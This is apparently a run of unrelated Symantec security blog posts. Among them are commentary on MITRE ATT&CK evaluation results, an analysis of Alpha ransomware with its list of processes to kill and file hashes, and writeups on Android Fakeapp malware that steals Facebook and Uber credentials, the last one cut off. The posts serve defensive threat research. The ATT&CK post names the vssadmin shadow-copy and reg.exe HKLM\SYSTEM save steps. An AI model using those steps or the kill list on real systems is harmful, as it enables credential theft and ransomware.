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A Look at the MITRE Engenuity ATT&CK® Evaluations For Symantec, By Broadcom Software
The results are in. Here’s what you need to know.
The results of the MITRE Engenuity ATT&CK® Evaluations have arrived and it’s time to take a close look at them. Evaluating what tests reveal – and what they don’t – takes willingness to look under the covers. As I discussed in a previous blog entry, a test can be valuable if it gives you information that is relevant to your technology decisions and you’re willing to trust your own judgment.
The Results
Released March 31, 2022, the MITRE Engenuity ATT&CK® Evaluations covered 30 vendors and emulated the Wizard Spider and Sandworm threat groups. Wizard Spider is a financially motivated criminal group that has been conducting ransomware campaigns since August 2018 against a variety of organizations, ranging from major corporations to hospitals.
Sandworm is a destructive Russian threat group that is known for carrying out notable attacks such as the 2015 and 2016 targeting of Ukrainian electrical companies and 2017’s NotPetya attacks. According to MITRE, these two threat actors were chosen based on their complexity, relevancy to the market, and how well MITRE Engenuity’s staff can fittingly emulate the adversary.
MITRE Engenuity evaluated our product, Symantec Endpoint Security Complete (SESC), covering both detection and protection. For the detection results, Symantec, as part of Broadcom Software, provided Analytic coverage on 100% of the steps tested by MITRE – 10 steps emulating Wizard Spider and 9 steps emulating Sandworm. These results show that we flagged suspicious activity at each step in the attack chain.
As the name implies, attack chains are composed of individual links, or steps. Test cases string together a number of links to make a sub-chain of the attack. When evaluating whether or not protection is expected or proper for this sub-chain, there are a couple of considerations. The chain must be evaluated in isolation. One cannot inject “special knowledge”, such as the fact that a certain actor is “known to be bad”. In this regard, the sub-chain itself must include malicious activity explicitly. Saying “it is going to do X” is not proper if X is not performed in the test case. This is particularly relevant to some of the test cases in the ATT&CK® Evaluation.
The protection test is worth close scrutiny. We blocked the beginning and end of the attack chain, but not test 4. That’s because that test covered common activities that were not in themselves malicious. To block them, in our view, would be to return false positives. Although our software could be tuned to block test 4, that would not be helpful to cyber security managers because the “noise” of false positives can inundate staff, which can leave an organization open to devastating attacks. If, however, an organization considered those activities in themselves suspect, our Adaptive Protection feature could be adjusted to block them without flooding managers with false positives.
The Details
Test 4:
cmd.exe executes vssadmin.exe to create a copy of C:
cmd.exe executes reg.exe to save HKLM\SYSTEM
Others may differ, but we think our interpretation of test 4 is correct. In fairness, this is only the second year MITRE Engenuity has run this test and it is not yet mature. As noted in my previous blog entry, the MITRE Evaluations lack a false positive test, which we believe is needed. And as noted in this blog entry, Adaptive Protection is an important feature of ours for which there is as yet no effective test.
Any products that blindly block these activities out-of-the-box without any training would generate false positives in the real world. Symantec’s Adaptive Protection normally blocks these activities using behavioral machine learning if they do not typically occur within an organization. If our customers’ endpoints never perform these behaviors in real life, they would have been blocked by Adaptive Protection. The learning period used by Adaptive Protection is often skipped during lab testing, leading to behaviors getting logged instead of blocked, which you can see in the MITRE Evaluation.
Let’s look more closely at the use of vssadmin.exe in test 4. A product could choose to block this tool’s execution, but without telemetry regarding legitimate usage to back that the risk of Business Impact from blocking is unknown. Since the ATT&CK®Evaluations environment does not conduct “normal business” activity - not even a False Positive test - blocking this completely legitimate and documented usage of the tool is speculative at best.
For the sake of perspective, the MITRE Engenuity ATT&CK® Evaluation is only one of many. We at Symantec, by Broadcom Software, have a long history of positive protection test results, including outstanding results in the 2020 ATT&CK® Evaluations. In addition, we have earned:
The top grade in SE Labs (AAA) since Q3 2012.
The top grade in MRG Effitas (Certified Level 1) in 13 of the last 15 quarters.
Best Protection from AV-TEST for 6 of the last 7 years.
You’ll hear a lot about the new ATT&CK® Evaluations results in the coming days and weeks. When you look at these and other test results, keep in mind a test’s purpose, its limits, and what it is telling you. Look in the results for information you need to make an informed decision about your own environment. Ultimately, responsibility for protecting your organization’s data rests with you and working with a trusted partner. Contact us here to see how we can work with you to secure your enterprise.
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Alpha Ransomware Emerges From NetWalker Ashes
Emergent ransomware operation has strong links with shuttered NetWalker.
Alpha, a new ransomware that first appeared in February 2023 and stepped up its operations in recent weeks, has strong similarities to the long-defunct NetWalker ransomware, which disappeared in January 2021 following an international law enforcement operation.
The NetWalker Connection
Analysis of Alpha reveals significant similarities with the old NetWalker ransomware. Both threats use a similar PowerShell-based loader to deliver the payload. In addition to this, there is a significant amount of code overlap between the Alpha and NetWalker payloads. This includes:
The general execution flow of the main functionalities of both payloads.
Two functionalities handled within a single thread: termination of processes and termination of services.
A similar list of resolved APIs. While APIs are resolved using a hash, the hashes used are not the same.
Both payloads have similar configurations, including their lists of skipped folders, files, and extensions; and their lists of processes and services to kill.
Both payloads delete themselves using a temporary batch file after encryption is completed.
Both have similar payment portals, containing the same message: “For enter, please use user code”.
Figure 1. Payment portals for NetWalker (left) and Alpha (right). Both contain the same message: “For enter, please use user code”.
Table 1. NetWalker and Alpha have virtually identical lists of processes to kill. The only difference is the addition of Notepad and the game Genshin Impact on Alpha’s list. The reason for the latter’s inclusion is unknown.
NetWalker Alpha
nslsvice.exe nslsvice.exe
pg* pg*
nservice.exe nservice.exe
cbvscserv* cbvscserv*
ntrtscan.exe ntrtscan.exe
cbservi* cbservi*
hMailServer* hMailServer*
IBM* IBM*
bes10* bes10*
black* black*
apach* apach*
bd2* bd2*
db* db*
ba* ba*
be* be*
QB* QB*
oracle* oracle*
wbengine* wbengine*
vee* vee*
postg* postg*
sage* sage*
sap* sap*
b1* b1*
fdlaunch* fdlaunch*
msmdsrv* msmdsrv*
report* report*
msdtssr* msdtssr*
coldfus* coldfus*
cfdot* cfdot*
swag* swag*
swstrtr* swstrtr*
jetty.exe jetty.exe
wrsa.exe wrsa.exe
team* team*
agent* agent*
store.exe store.exe
sql* sql*
sqbcoreservice.exe sqbcoreservice.exe
thunderbird.exe thunderbird.exe
ocssd.exe ocssd.exe
encsvc.exe encsvc.exe
excel.exe excel.exe
synctime.exe synctime.exe
mspub.exe mspub.exe
ocautoupds.exe ocautoupds.exe
thebat.exe thebat.exe
dbeng50.exe dbeng50.exe
*sql* *sql*
mydesktopservice.exe mydesktopservice.exe
onenote.exe onenote.exe
outlook.exe outlook.exe
powerpnt.exe powerpnt.exe
msaccess.exe msaccess.exe
tbirdconfig.exe tbirdconfig.exe
wordpad.exe wordpad.exe
ocomm.exe ocomm.exe
dbsnmp.exe dbsnmp.exe
thebat64.exe thebat64.exe
winword.exe winword.exe
oracle.exe oracle.exe
xfssvccon.exe xfssvccon.exe
firefoxconfig.exe firefoxconfig.exe
visio.exe visio.exe
mydesktopqos.exe mydesktopqos.exe
infopath.exe infopath.exe
agntsvc.exe agntsvc.exe
notepad.exe
genshinimpact.exe
Figure 2. Use of custom Import Address Tables (IATs) in NetWalker. When calling the NtQuerySystemInformation API, it uses a function to retrieve the starting address of the custom IAT and references from that address the location of the API it needs to us
Figure 3. Use of custom Import Address Tables (IATs) in Alpha.
Alpha Attacks
While Alpha first appeared in February 2023, it maintained a low profile until recent weeks when it appeared to begin scaling up its operations and launching a data leak site.
In recent attacks involving Alpha, the attackers made heavy use of a number of living-off-the-land tools, including:
Taskkill: Windows command-line tool that can be used to end one or more tasks or processes.
PsExec: Microsoft Sysinternals tool for executing processes on other systems. The tool is primarily used by attackers to move laterally on victim networks.
Net.exe: Microsoft tool that can be used to stop and start the IPv6 protocol.
Reg.exe: Windows command-line tool that can be used to edit the registry of local or remote computers.
Rebrand or Return?
NetWalker was part of the first wave of cybercrime operations to profit from targeted ransomware attacks, where attackers attempt to encrypt entire networks in order to extort their victims. One jailed group member alone is alleged to have earned over $27.6 million from attacks.
Following the law enforcement operation and long cessation of activity, it had been assumed that NetWalker had completely departed. However, the similarities between Alpha and the NetWalker ransomware suggest a strong link between the two threats. Alpha may be an attempt at reviving the old ransomware operation by one or more of the original NetWalker developers. Alternatively, the attackers behind Alpha may have acquired and modified the original NetWalker payload in order to launch their own ransomware operation.
Protection/Mitigation
For the latest protection updates on Alpha, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
46569bf23a2f00f6bac5de6101b8f771feb972d104633f84e13d9bc98b844520 - PowerShell loader
6462b8825e02cf55dc905dd42f0b4777dfd5aa4ff777e3e8fe71d57b7d9934e7 - PowerShell loader
6e204e39121109dafcb618b33191f8e977a433470a0c43af7f39724395f1343e - PowerShell loader
89bfcbf74607ad6d532495de081a1353fc3cf4cd4a00df7b1ba06c10c2de3972 - PowerShell loader
e43b1e06304f39dfcc5e59cf42f7a17f3818439f435ceba9445c56fe607d59ea - PowerShell loader
e573d2fec8731580ab620430f55081ceb7153d0344f2094e28785950fb17f499 - Alpha ransomware loader
e68dd7f20cd31309479ece3f1c8578c9f93c0a7154dcf21abce30e75b25da96b - Alpha ransomware loader
ab317c082c910cfe89214b31a0933eaab6c766158984f7aafb9943aef7ec6cbb - Alpha ransomware loader
df15266a9967320405b3771d0b7353dc5a4fb1cbf935010bc3c8c0e2fe17fb94 - Alpha ransomware loader
b7ca6d401b051712cb5b1a388a2135921a4420db8fe41842d51d2ec27380b479 - Alpha ransomware loader
5f3bf9c07eedde053f19ce134caa7587f8fb6c466e33256e1253f3a9450b7110 - Alpha ransomware loader
c00fbf3fb992e7f237c396d69081246570cbd60d6c7a2262c01ae4d8e6f17ddd - Alpha ransomware loader
b2adf8ec7ab5193c7358f6acb30b003493466daee33ea416e3f703e744f73b7d - Alpha ransomware loader
a8d350bbe8d9ccfbb0c3e9c2dd9251c957d18ce13ae405ceb2f2d087c115db15 - Alpha ransomware loader
2d07f0425dc465b3a1267a672c1293f9a3d0cd23106b7be490807fea490978ea - Alpha ransomware loader
f5d25777331ba55d80e064dea72240c1524ffcd3870555a8c34ff5377def3729 - Alpha ransomware loader
9d6ed8396ee79ae92a5e6cef718add321226def3461711cf585e0fd302c961ae - Alpha ransomware loader
1c12ff296e7d9f90391e45f8a1d82d8140edf98d616a7da28741094d60d4779d - Alpha ransomware loader
9c71500a9472814f7bf97a462fe9822cf93dc41e2e34cc068734586d5e5146ef - Alpha ransomware loader
480cf54686bd50157701d93cc729ecf70c14cd1acd2cb622b38fc25e23dfbc26 - Alpha ransomware loader
0bad18cb64b14a689965540126e0adbc952f090f1fb7b6447fe897a073860cdb - Alpha ransomware loader
c5f7492a3e763b4456afbb181248fdb8e652575cea286db7861e97ffcd1b72e4 - Alpha ransomware loader
f3858d29073ae90f90c9bb284913752533fe1a6437edd6536e4b1775fc8f6db4 - Alpha ransomware loader
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A Manifesto for Great Security
If you want the right security outcomes, your policy documentation must be equal parts love letter, tax return, graduation thesis, and owner’s manual
A well-written policy is the foundation for an organization’s security posture.
As the Global Security Office, Symantec’s internal cyber security team, we’ve spent considerable energy refining our approach to information security policy and creating the frameworks and guardrails that guide our staff towards good security behaviors.
In this blog we’d like to share how we’re using security policy documentation to help drive an organization-wide culture of security.
A policy needs to be clear, concise, and comprehensive; its goal is to provide the workforce a straightforward outline of what to do and how to do it.
For starters, our security policy provides the direction and intent for information security within Symantec. It’s the primary artefact that communicates our expectations for secure behaviors and practices within the organization. It also describes the standard we hold ourselves to and the expectations we have of the broader organization. A policy needs to be clear, concise, and comprehensive; its goal is to provide the workforce a straightforward outline of what to do and how to do it.
We place a very high bar on the quality of our documentation. It’s not good enough simply to drive the right security outcomes. Our policy is our resume for security, and it must be nothing short of exceptional. It is equal parts love letter, tax return, graduation thesis, and owner’s manual. It must be easy to understand, it must withstand the highest audit scrutiny, and at all times it should inspire excellence.
Write Less, Say More
The central challenge for any policy writer is to articulate complicated topics in a straightforward way. You have to dive deep into the subject matter, distill its core purpose and intent, and summarize it as simply as possible. Our goal is to have policies that are clear, well-defined and easy to consume.
One of the most common downfalls of security policies is over-engineered language that dances around desired outcomes. Your readers will become lost if you try to account for every nuance and use case; go too far and your meaning will be lost entirely. Sure, such language allows you to argue a good case with auditors, but that doesn’t do much good if you can’t get the workforce to understand what you mean.
For example:
Not awesome:
All users throughout the company shall enforce user-level, system-level, privileged, service, and generic password lengths as used in any networks, systems, centralized servers, or cloud services of no less than but wherever possible greater than ten (10) characters as defined by established best practices and in compliance with relevant laws and regulations.
Better:
Passwords of at least ten (10) characters in length must be enforced for all users and systems throughout the company in accordance with best practices, laws, and regulations.
Straight to the point:
Passwords are at least ten characters long.
Writing styles and requirements vary greatly depending on your organization and industry, but care should always be taken to focus policy language as tightly as possible.
Building on a Foundation
Concise policy language helps to reduce document length, but a truly comprehensive information security policy can easily be 50 pages or more and not especially easy to read. So how then are you supposed to fit everything into a single document? Good news! You don’t have to.
Symantec’s information security policy framework is underpinned by a single, concise, high-level policy that outlines the company’s security direction and intent. This foundational policy document serves as the basis for a suite of security standards, each narrowly focused on a topic area, that describe the criteria for complying with the policy. This hierarchy of documentation helps us focus the messages we seek to convey.
To bring this to life, let’s look at data protection as an example. Our information security policy describes the need to classify and handle data according to its sensitivity. If an employee walks away from reading this document with a basic understanding that some information is more sensitive than others, and needs to be treated differently as a result, we’ve made a good start.
Our data classification standard then gives this employee more granular detail on how to live by this policy. It describes in more detail the types of data classifications at Symantec, and clearly lists handling standards for each – for instance, when and how to encrypt data based on its sensitivity.
From Policy to Habit
But for all our efforts towards simplicity and accessibility, we know people don’t always retain information contained in documents like policies and terms of use. As committed security professionals, we must continuously work at helping staff internalize our policies.
At Symantec we created “Security Non-Negotiables”, a set of behaviors and expectations everybody is expected to live by in their daily work. Each Non-Negotiable links to a specific section of our policy, such as data protection or access.
David Bradbury on Non-Negotiables
The Non-Negotiables provide a great vehicle for keeping our policies front of mind for staff. They have strong and visible executive sponsorship – our C-level execs are often seen and heard referring to them – and are a focus of ongoing organization-wide communications.
Policy also features centrally in our staff awareness programs.
It’s not enough to educate staff about the content of each document in the policy framework (although we do that too). We’ve also developed modules that educate staff on the use of policy itself – for instance, where staff can find our policies and procedures and how to determine which documents are relevant to their roles and tasks. A highly creative approach to these modules – using gamification and story-telling – helps drives staff engagement.
Tooling is the final piece in how we embed policy into daily habits and operations. We work closely with our internal technology teams to create practical tools that make policy compliance a simple, seamless and habitual process.
Our own Symantec solutions play a key role, such as plug-ins for Microsoft Office based on Information Centric Tagging, which enables documents to be automatically classified according to their sensitivity. Our other solutions, such as Symantec DLP, monitor and alert based on these classifications.
Key Takeaways
We’d love to hear any great ideas you have on the fine art of writing security policy. In the meantime, here are our key takeaways:
Deliver excellence. High quality documents inspire confidence, drive behaviors, and reduce audit observations
Be clear. Don’t add verbiage where it is not needed. Continually ask yourself, “How can I deliver the same message with fewer words?”
Make it relatable. Show the workforce how your policy relates to them. Use real-world examples they can learn from.
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Ambient Security: How It Can Help You Secure IoT
What if your device was connected to a cloud-based service that delivered "always on" security?
After spending a good part of my career doing serious embedded security engineering, I once confidently believed it was possible to build serious security into (nearly) any kind of thing.
Yet each day, it seemed, there was a new kind of item to secure. Like the film character "Neo," we've become wired into a 24 x 7 digital matrix of constant connectivity with networked lights, locks, heating-cooling systems, cameras, and a variety of other smart "things" to secure.
It took me more than a year to realize that I couldn't possibly build security into all of the - literally - billions of things coming online, each with their own operating systems or embedded applications. That would take more than a lifetime.
But if the long-term goal of absolute cyber security in the Internet of Things era remains beyond our grasp for now, there may still be another way to move closer to that target. The fact that we're already constantly connected and able to participate in a seamless experience - an ecosystem of devices we call ambient computing - offers the theoretical hope that we can do the same for security.
"Always-on" Security
Think about it this way. What if your device was connected to a cloud-based service that delivered "always on" security? What's more, the device wouldn't be able to connect to anything except through that particular security service, which would offer full protection against any imaginable cyber attacks cooked up by the bad guys.
This isn't fantasy. We already do something similar for laptops, smartphones, and tablets with "firewall as a service" offerings. Many enterprises also use cloud-based services with global deployments of security hardware so that wherever they connect, employees are connecting through these security sites.
Some may be connecting over an untrusted local connection but that's why those services set you up with a "personal" crypto connection, thus eliminating the need to trust a particular local network. What's more, everything is encrypted from the device to a secure site which deploys security hardware to protect users from potential attack.
Of course, firewalls aren't enough. That's why such services seriously need things like full proxies and careful "key management." That allows the security hardware to even defend against attacks tunneling through encrypted web connections. Fortunately, this exists today in commercial services like our own Web Security Service (WSS) as well as offerings by other security providers.
The Road Ahead
Where do we head from here? I see three possibilities.
If your company makes IoT devices, be sure they only connect through such security services. It should be up to the manufacturer, not the end-customer, to decide whether or not their "things" connect to security services - or to anything else.
If you or your company buys IoT devices, don't be bashful. Tell your suppliers that you want products configured so as to only connect to cloud-based security gateways that protect them. If a supplier can't do that, put them on notice that the clock is ticking. Let them know that you'll only source products in the future from vendors that are serious about IoT security. While we're at it, consider this: If a vendor is unable to configure their devices to connect to a simple cloud-based security service, can you really trust them to deal with the harder aspects of security?
We can glimpse a better security future over the horizon. So, whether you make or buy IoT devices, let's team up and further the research into how to make seamless, "always on" ambient security better. Symantec collaborates with countless universities and customers and we regularly share our research with the industry. Even if someone else manages to find an answer, we'd still be flattered and grateful that you chose to join us on the journey. After all, we all share the same goal of making a better, more secure world.
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Am I Protected?
Celebrating the anniversary of the Symantec Protection Bulletin
Am I protected? This is not an unreasonable question to ask your security vendor. But is it an easy question to find the answer? Sure, security vendors, including Symantec, have blogs and white papers talking about recent threats. And they are invaluable.
But they don’t tell you about threats that are mere hours old. The ones that just hit someone else in your industry, or country, or the hardware or software that you own. They don’t have the answer to the threat your boss asked you about.
At Symantec, we get these questions all the time, and we are happy to answer. But should you have to ask? And what about brand new threats your boss didn’t yet ask about? Wouldn’t it be nice to know about them before they do?
That’s why three years ago this week we created the Symantec Protection Bulletin. Am I protected? We’ve answered that question more than 2000 times in those three years.
The Protection Bulletin answered the question on threats to Windows, macOS, Linux and Unix-based, Mobile, and Servers.
The Protection Bulletin answered the question on Email-based threats, Web-based threats, Phishing threats, info stealers, Remote Access Trojans (RATs), bots, and a myriad of other online threats
The Protection Bulletin answered the question on vulnerabilities (353 times), phishing (241 times), mobile threats (189 times), Advanced Persistent Threats (159 times), Data Center Security (51 times) and region-specific issues. (Japan only 38 times).
The Protection Bulletin answered the question on threats using machine learning (687 times), network-based threats (533 times), email-related threats (432 times), and of course ransomware (404 times).
And in November 2022, we expanded the scope of the Protection Bulletin by including something we call Protection Highlights. These bulletins are specially designed to not only answer the question of Am I protected, but to provide education on our proactive protections against new, unknown threats and offer insights into the Symantec Enterprise Cloud platform and underlying technologies that prevented these attacks.
Am I protected? Symantec Enterprise Cloud provides the protection. The Symantec Protection Bulletin shows you how. And if you want to know the details visit the Protection Bulletin.
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AMTSO Testing Standards: Why You Should Demand Them
When it comes to security product testing, a good test in one context can turn out to be meaningless in another.
Have you ever done an internet search for “the best x product”? These searches always produce results, and sometimes you may even follow the advice listed. However, did you ever stop to consider the source and how they made their determination?
Many of those list rankings are based on money paid by vendors. Would knowing that influence your impression of that list? That’s why accessing the information that went into compiling a list is just as important as the list itself.
Security product testing has been around for as long as there have been security products. On the surface, the process for testing security products would appear to be pretty straightforward – feed in a large collection of clean and malicious files and see which are detected and which are not. However, as H.L. Mencken stated, “For every complex problem there is an answer that is clear, simple, and wrong.”
Testing security software badly is simple. Testing security software well is hard. Today’s threats are extremely complex, and as a result, the products that protect against them must be equally complex. Handling these complexities well throughout the course of a test should dictate how one processes the results.
How then does one determine whether a test was done well or badly? The answer is information. The consumer of a test result must be armed with sufficient information to draw the proper conclusions. This includes both the quality of the testing as well as the meaningfulness of the results. A good test in one context can be meaningless in another. It’s important to look at the test holistically.
What Standards Do and Don’t Do
The Anti-Malware Testing Standards Organization (AMTSO) is a non-profit organization founded in 2008 to improve the business conditions related to the development, use, testing and rating of anti-malware products and solutions. These Standards ensure that relevant information about the test and the participants be disclosed. This includes:
What did the vendors have to say about the methodology?
Which vendors (if any) had a chance to configure their product?
Which vendors (if any) had the opportunity to dispute their results?
AMTSO will manage the process and determine if a test is compliant with the standards, which can be found here.
It’s important to keep in mind that a test’s compliance with the Standards doesn’t speak to the quality of the testing or the meaningfulness of the results. The Standards are supremely important because they provide the data necessary to make determinations regarding the quality or relevance of the test including information about how the participants in the test were treated, who had additional access, who got to configure their product, who got to dispute their results, etc.
The Standards require that these facts be presented. Without them, you are relying on the judgement of others, and the conclusions they reach for you.
Who Do You Trust?
In my experience, most people trust the testers over the vendors. This seems reasonable, as the vendors are not disinterested parties. But the standards enable you to trust yourself. This is because in a compliant Standards test you will see the underlying facts, including the arguments of the vendor and the tester in the event of a dispute. You can weigh those arguments and reach your own conclusion.
The AMTSO Standards lift the lid and allow the consumer to examine the inner workings and make their own judgements.
For example, let’s say a test has several categories – good, bad and neutral. They assess multiple products and categories as such:
Is this a good test? Is it useful? Which product should you buy? What defines good, bad and neutral? Is it the same for all categories? Without more information, it’s impossible to tell. This is where the AMTSO Standards can help. They ensure that the details of the testing and the scoring are available to the vendors and the consumers of the test, and that reasoned commentary regarding relevant issues is included and can be evaluated by consumers. Of course, not all consumers will agree – but each one can make their own assessment from the same data.
Know the Facts
When a consumer reads a test report there are a number of important questions they should ask, including:
Methodology:
What is the purpose of the test? What does it intend to show?
Does the methodology support this?
Are the chosen products correct given the scope of the test?
How were those products configured?
What is the environment of the test?
Is there internet connectivity?
Are the clients managed/unmanaged?
Test cases:
What test cases were used?
How were they obtained?
How was their maliciousness/functionality verified?
How was detection determined/verified?
What clean test cases where used, and how were they obtained?
How were the samples – both clean and malicious – introduced to the products?
Results:
How were the results monitored and verified?
Was there a sample dispute process?
Who was allowed to participate?
Who participated?
How were the final scores calculated?
If the answers to these questions are not available in the test report, that should be cause for concern.
Claims and Counter Claims
Here is a simple scenario:
The tester obtains a sample of a malicious downloader (a piece of malware that downloads additional malicious content from the internet)
The tester introduces this sample into the testing environment
The product installed in that environment fails to generate an alert and fails to remove the sample
The tester claims the product failed to protect the machine
Is that claim correct? We’ll need some additional data to know for sure. For example, if the internet location of the sample to download the content provided was no longer operational, that would change our response.
In this case, it is true that the product failed to detect the sample statically – but that is not what was claimed. The behavior that the security product saw was an application launch, attempt to access the internet, and exit. Did anything malicious happen here? If a clean sample took the same actions, should it be detected? Was the machine compromised? If that action had happened would the product have detected the sample? Without more information, we don’t know these answers but that doesn’t mean that the product failed to protect. If a bank robber walks into a bank, then walks out, was the bank robbed? It is more complicated than simply detecting a file or not.
Why You Should Demand Standards-Compliant Tests
Let’s take a look at another testing scenario:
The installation media for several brands of security software are each taped to standard office chairs
The chairs are tossed from the top of a 10-story building
The product attached to the chair suffering the least damage is deemed the best security software
It may sound ridiculous, but this test can be completed in an AMTSO-compliant way. The Standards require the tester to describe the methodology in detail and seek commentary from the products involved. In this scenario, the vendors would likely respond that this was a meaningless test – and the tester would need to include that commentary in the published report.
The reader is tasked with drawing a conclusion based on the methodology and comments provided by the vendors. However, if I had only told you that we had tested the security products “in a stressful scenario and used advanced analytics to assess each product’s performance,” the reader would not have known to dispute that claim.
AMTSO Standards are not only useful but necessary. They make the security software space more transparent and honest and also expose poor methodologies and dubious claims made by both testers and vendors. Overly broad claims get challenged and consumers have the information necessary to make informed choices. That is a key component in achieving better, more meaningful tests.
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Amy Cappellanti-Wolf: A Study in Data-Driven HR
Symantec’s top HR exec explains how a data-driven approach both supports the business while fostering greater inclusion
After decades as a top HR executive, Amy Cappellanti-Wolf is a self-avowed people person, but the real secret to her success comes from an ability to speak the language of business and a deep respect for the power of data-driven decision making.
Cappellanti-Wolf, Symantec’s senior vice president and chief human resource officer (CHRO) for the last four and a half years, formulated many of her guiding principles—building strong relationships with key business stakeholders, fearlessly asking questions, leveraging data insights to drive HR-led conversations, and acting with resilience and grit—during her early tenure in HR at a Frito-Lay manufacturing plant in Atlanta, GA.
“It shaped my whole thinking that the role of HR is not only about caring for people, but developing a strong business acumen so you can represent the people’s best interests and show how they are important to success,” she says. “That’s why it’s so important to be data-driven.”
Under Cappellanti-Wolf’s stewardship, Symantec’s HR organization is embracing a data-driven approach to support the business, fostering greater diversity in hiring and thought leadership and transforming the company’s global organizational operating model and culture after a period of large-scale acquisitions and divestitures. After Symantec sold off its Veritas data storage business and made strategic acquisitions of Lifelock and Blue Coat to zero in on security, Cappellanti-Wolf was critical to the leadership effort to reorganize the company and define and nurture a cohesive culture.
The Cappellanti-Wolf-led Symantec HR organization employed a variety of modern-day tools and best practices to get a sense of the culture, including a companywide census, spending time in the trenches with both employees and management, and doing listening tour visits to key sites. “We had a lot of acquisitions and divestitures and as a result, we have different microcosms of cultures,” she says. “We need to unify on what kind of culture we need to support and enable our business strategy.”
Hiring for Diversity
One of the hallmarks for Symantec’s evolving culture and charter is diversity and inclusion, both from a hiring standpoint and to encourage broad range of thought. In partnership with the CEO and leadership team, Cappellanti-Wolf’s mandate is not only to make Symantec a great place to work, but to make sure talent management and development programs are key to delivering a workforce that delivers for customers and for the business. “We need to get to a place where we have great representation and people feel like they belong,” she says. “What better way to do that than ensuring that the people we bring are embraced for their different perspectives and experiences.”
Hiring with diversity in mind is a challenge, Cappellanti-Wolf admits, especially in the insular world of Silicon Valley and in the face of a real talent crunch, particularly for top-tier security expertise. Cyber security skills are in high demand, and the people who are good at this competency have been in the trenches for some time and are not always reflective of diversity, including fair representation from women and minorities. Symantec is working hard to change that dynamic by expanding the net to draw talent from college campuses where there is greater diversity, and through new open hiring platforms that cater to specific groups like women, for example. “We are looking at different ways to take bias out of our hiring practices and make sure we are looking at all candidates vs. just hiring in our image,” she says.
One of the hallmarks for Symantec’s evolving culture and charter is diversity and inclusion, both from a hiring standpoint and to encourage broad range of thought.
Of course, given Cappellanti-Wolf’s philosophy, data plays a role in Symantec’s diversity and inclusion performance. The company is constantly measuring various outcomes in different ways, including the number of underrepresented minorities and gender in its pipeline, where the different choke points are, and its success rate converting these recruits into actual hires. To evaluate whether employees feel welcome and that their voices are being heard, Cappellanti-Wolf’s organization conducts a pulse survey sampling between 1500 to 2000 employees about every six weeks as part of a belonging index assessment—another data point that helps steer HR practices and evolve corporate culture.
Cappellanti-Wolf was recently recognized for her innovative HR efforts with an invitation to join the Forbes HR Council. As one of a coterie of hand-selected members, Cappellanti-Wolf will become part of a network of peers who share ideas and experiences as well as participate in thought leadership.
As a long-time HR leader and strong proponent of diversity initiatives, Cappellanti-Wolf says she’s looking forward to collaborating with the group and learning from her peers. She also sees the role as an opportunity to give back to the HR community. “This is an amazing thought leadership platform and I am honored to be a part of it,” she says. “I’ve learned so much as a result of networking, studying trends, experimenting with new ideas as well as being part of this important community. It’s part of being a life-long learner, and if you’re not, you won’t survive.”
For more information and future posts from Amy, visit the Forbes Human Resources Council.
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Android Malware Harvests Facebook Account Details
New Fakeapp variants log into Facebook accounts to harvest user credentials directly from victims’ devices.
Recently, there have been reports of mobile threats stealing Facebook login credentials, such as user names and passwords. We’ve encountered new Android malware (detected as Android.Fakeapp) that takes a more aggressive approach: logging into Facebook accounts and harvesting account details directly from victims’ devices. The majority of the victims are located in the Asia-Pacific region.
The malware we’ve encountered was sourced from third-party markets. The apps target English speakers.
"New variants of #Fakeapp malware can log into #Facebook to harvest credentials directly from #Android devices http://symc.ly/2BqW066"
CLICK TO TWEET
Once installed, the malicious app immediately hides itself from the home screen, leaving only a service running in the background. This service takes the following steps to steal details from a Facebook user’s account:
It checks for a target Facebook account by submitting the International Mobile Equipment Identity (IMEI) to the command and control (C&C) server.
If no account can be collected, it verifies that the app is installed on the device.
It then launches a spoofed Facebook login user interface (UI) to steal user credentials.
It periodically displays this login UI until credentials are successfully collected.
Figure 1. Spoofed Facebook login dialog
Using JavaScript from a hidden WebView, the threat silently logs into the compromised Facebook account. The malware hides the WebView by setting the display to be almost completely transparent (Figure 2).
Figure 2. Setting the display to be transparent
It then ensures that a CAPTCHA isn’t presented. If it is, it sends the event to the C&C server, clears caches and cookies, and retries later.
Figure 3. Backing out of a CAPTCHA challenge
Once the malware is logged into the Facebook page, it can leverage a wide range of capabilities to follow links and scrape the personal data of the victim and their friends, sending it back to the C&C server. This includes:
General top-level data: Facebook account, user, password, device IMEI
Profile: Work, education, location, contacts, basic info, nicknames, relationships, family, bio
Activities: Check in, events, friends, groups, likes, pages, posts
The functionality that crawls the Facebook page has a surprising level of sophistication. The crawler has the ability to use the search functionality on Facebook and collect the results. Additionally, to harvest information that is shown using dynamic web techniques, the crawler will scroll the page and pull content via Ajax calls (Figures 4 and 5).
Figure 4. Scrolling the page
Figure 5. Collecting dynamic contact with Ajax
Mitigation
We advise users to follow these best practices to stay protected from mobile threats:
Keep your software up to date
Refrain from downloading apps from unfamiliar sites and only install apps from trusted sources
Pay close attention to the permissions requested by apps
Install a suitable mobile security app, such as Norton, to protect your device and data
Make frequent backups of important data
Protection
Symantec and Norton products detect this malware as Android.Fakeapp.
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Android Malware Steals Uber Credentials and Covers Up the Heist Using Deep Links
The latest Android.Fakeapp variant steals user credentials then uses deep links of the legitimate Uber app to hide the fact.
While analyzing the most recent Android.Fakeapp malware variants, we came across a sample that was using a quite novel and different monetization technique, in addition to the regular overlay tricks asking users to enter their credit card details. This one would be of particular concern to Uber users on Android, which number in the millions worldwide.
The Fakeapp variant we found had a spoofed Uber application user interface (UI) which pops up on the user’s device screen in regular intervals until the user gets tricked into entering their Uber ID (typically the registered phone number) and password.
Figure 1 shows the fake Uber app UI displayed by the malware to get the user to enter their details. Once the user clicks the Next button (->), the malware sends the user ID and password to its remote server.
Figure 1. Fake Uber app screens for users to enter their registered mobile number and password
Next, the malware tries to cover up the heist. To avoid alarming the user, the malware displays a screen of the legitimate app that shows the user’s current location, which would not normally arouse suspicion because that’s what’s expected of the actual app.
"To avoid alarming the user, the malware displays a screen of the legitimate Uber app that shows the user’s current location."
CLICK TO TWEET
This is where creators of this Fakeapp variant got creative. To show the said screen, the malware uses the deep link URI of the legitimate app that starts the app’s Ride Request activity, with the current location of the victim preloaded as the pickup point.
Figure 2. Screen of the legitimate app showing the user’s current location
To show the said screen, the malware uses the deep link URI of the legitimate app that starts the app’s Ride Request activity, with the current location of the victim preloaded as the pickup point.
Deep links are URLs that take users directly to specific content in an app. Deep linking in Android is a way to identify a specific piece of content or functionality inside an app. It is much like a web URL, but for applications. For example, the Uber app has the following deep link URI for its Ride Request activity:
